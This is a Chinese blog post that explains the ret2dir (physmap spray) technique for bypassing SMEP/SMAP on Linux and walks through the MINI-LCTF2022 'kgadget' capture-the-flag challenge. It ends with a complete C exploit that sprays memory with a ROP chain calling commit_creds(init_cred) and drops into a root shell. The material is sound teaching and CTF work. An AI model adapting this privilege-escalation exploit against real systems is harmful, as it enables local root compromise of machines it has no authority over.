• linux 内核漏洞利用 ret2dir


    附件下载链接
    ret2dir 是哥伦比亚大学网络安全实验室在 2014 年提出的一种辅助攻击手法,主要用来绕过 smep、smap、pxn 等用户空间与内核空间隔离的防护手段,原论文见此处:http://www.cs.columbia.edu/~vpk/papers/ret2dir.sec14.pdf
    linux 系统有一部分物理内存区域同时映射到用户空间和内核空间的某个物理内存地址。一块区域叫做 direct mapping area,即内核的线性映射区。
    下图便是原论文中对 ret2dir 这种攻击的示例,我们在用户空间中布置的 gadget 可以通过 direct mapping area 上的地址在内核空间中访问到
    在这里插入图片描述
    但需要注意的是在新版的内核当中 direct mapping area 已经不再具有可执行权限,因此我们很难再在用户空间直接布置 shellcode 进行利用,但我们仍能通过在用户空间布置 ROP 链的方式完成利用
    在这里插入图片描述
    比较朴素的一种使用 ret2dir 进行攻击的手法便是:

    • 利用 mmap 在用户空间大量喷射内存
    • 利用漏洞泄露出内核的“堆”上地址(通过 kmalloc 获取到的地址),这个地址直接来自于线性映射区
    • 利用泄露出的内核线性映射区的地址进行内存搜索,从而找到我们在用户空间喷射的内存
      此时我们就获得了一个映射到用户空间的内核空间地址,我们通过这个内核空间地址便能直接访问到用户空间的数据,从而避开了传统的隔绝用户空间与内核空间的防护手段

    需要注意的是我们往往没有内存搜索的机会,因此需要使用 mmap 喷射大量的物理内存写入同样的 payload,之后再随机挑选一个线性映射区上的地址进行利用,这样我们就有很大的概率命中到我们布置的 payload 上,这种攻击手法也称为 physmap spray 。
    例题:MINI-LCTF2022 - kgadget
    主要漏洞点在 kgaget_ioctl 函数上。分析如下:
    在这里插入图片描述
    总之这个函数可以执行指定位置的代码。
    不过根据输出他提示信息, pt_regs 中只有 r8 和 r9 寄存器可以使用,但是除去这两个寄存器和系统调用以及传参用掉的寄存器还有 r11 和 rcx 的值没有被覆盖。
    在这里插入图片描述
    为了探究原因,首先在系统调用前将寄存器赋值为特殊值。
    在这里插入图片描述
    然后在 entry_SYSCALL_64 函数处下一个条件端点。
    在这里插入图片描述
    运行测试程序成功短在了目标位置。
    在这里插入图片描述
    观察寄存器发现 rcx 和 r11 以经被写入其他值了。因此这两个寄存器实际上是无法利用的。
    在这里插入图片描述
    漏洞利用的手段比较巧妙。
    首先在用户空间喷射大量下图所示的内存页。
    在这里插入图片描述
    由于栈迁移的 gadget 占了绝大多数,因此 ioctl 执行随便一个地址的 gadget 很大概率会将栈迁移到 pt_regs 结构体。
    在 pt_regs 结构体中利用 r8 和 r9 两个寄存器将栈迁移到喷射内存的区域的某个地址,很大概率会迁移到 add rsp; ret;ret; gadget 处,很大概率会最终执行到 rop 完成 提权。
    返回用户空间在使用 swapgs_restore_regs_and_return_to_usermode 函数时应该注意,前面 pop 完寄存器之后除 iretq 需要的寄存器还剩 orig_rax 和 rdi ,为了缩短 rop 的长度,可以直接 retn 到标记的位置,不过 rop 接下来还要有 16 字节的填充来表示 orig_rax 和 rdi 的位置。
    在这里插入图片描述
    exp 如下:

    #include <unistd.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/mman.h>
    
    const size_t try_hit = 0xffff888000000000 + 0x7000000;
    size_t user_cs, user_rflags, user_sp, user_ss;
    size_t page_size;
    int dev_fd;
    
    void save_status() {
        __asm__("mov user_cs, cs;"
                "mov user_ss, ss;"
                "mov user_sp, rsp;"
                "pushf;"
                "pop user_rflags;"
        );
        puts("[*]status has been saved.");
    }
    
    void get_shell() { system("/bin/sh"); }
    
    int main() {
        save_status();
        dev_fd = open("/dev/kgadget", O_RDWR);
        if (dev_fd < 0) {
            puts("[-] Error: open kgadget");
        }
        page_size = sysconf(_SC_PAGESIZE);
        size_t *rop = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        int idx = 0;
        while (idx < (page_size / 8 - 0x30)) {
            rop[idx++] = 0xffffffff810737fe;// add rsp, 0xa0; pop rbx; pop r12; pop r13; pop rbp; ret;
        }
        for (; idx < (page_size / 8 - 11); idx++) {
            rop[idx] = 0xffffffff8108c6f1;// ret;
        }
        rop[idx++] = 0xffffffff8108c6f0;// pop rdi; ret;
        rop[idx++] = 0xffffffff82a6b700;// init_cred
        rop[idx++] = 0xffffffff810c92e0;// commit_creds
        rop[idx++] = 0xffffffff81c00fb0 + 27;// swapgs_restore_regs_and_return_to_usermode + 27;
        rop[idx++] = 0x0000000000000000;// padding
        rop[idx++] = 0x0000000000000000;// padding
        rop[idx++] = (size_t) get_shell;
        rop[idx++] = user_cs;
        rop[idx++] = user_rflags;
        rop[idx++] = user_sp;
        rop[idx++] = user_ss;
        puts("[*] Spraying physmap...");
        for (int i = 1; i < 15000; i++) {
            sigset_t *page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
            memcpy(page, rop, page_size);
        }
        puts("[*] trigger physmap one_gadget...");
        __asm__(
        "mov r15,   0xbeefdead;"
        "mov r14,   0x11111111;"
        "mov r13,   0x22222222;"
        "mov r12,   0x33333333;"
        "mov rbp,   0x44444444;"
        "mov rbx,   0x55555555;"
        "mov r11,   0x66666666;"
        "mov r10,   0x77777777;"
        "mov r9,    0xffffffff811483d0;"// pop rsp; ret;
        "mov r8,    try_hit;"
        "mov rax,   0x10;"
        "mov rcx,   0xaaaaaaaa;"
        "mov rdx,   try_hit;"
        "mov rsi,   0x1bf52;"
        "mov rdi,   dev_fd;"
        "syscall"
        );
        return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
  • 相关阅读:
    应用ceph块存储(ceph-13.2.10)
    1.关于433MHz按键单片机解码
    webpack5 CssMinimizerPlugin css压缩
    WebDAV之葫芦儿·派盘+天悦日记
    VS Code下利用Cmake开发C++-单文件
    2022谷粒商城学习笔记(三)分布式组件nacos、openfeign、gateway的本地化单机配置
    智能家居如何融合人工智能技术
    MIUI查看当前手机电池容量
    论文研读:ViT-V-Net—用于无监督3D医学图像配准的Vision Transformer
    【数据结构】栈和队列专题
  • 原文地址:https://blog.csdn.net/qq_45323960/article/details/125512122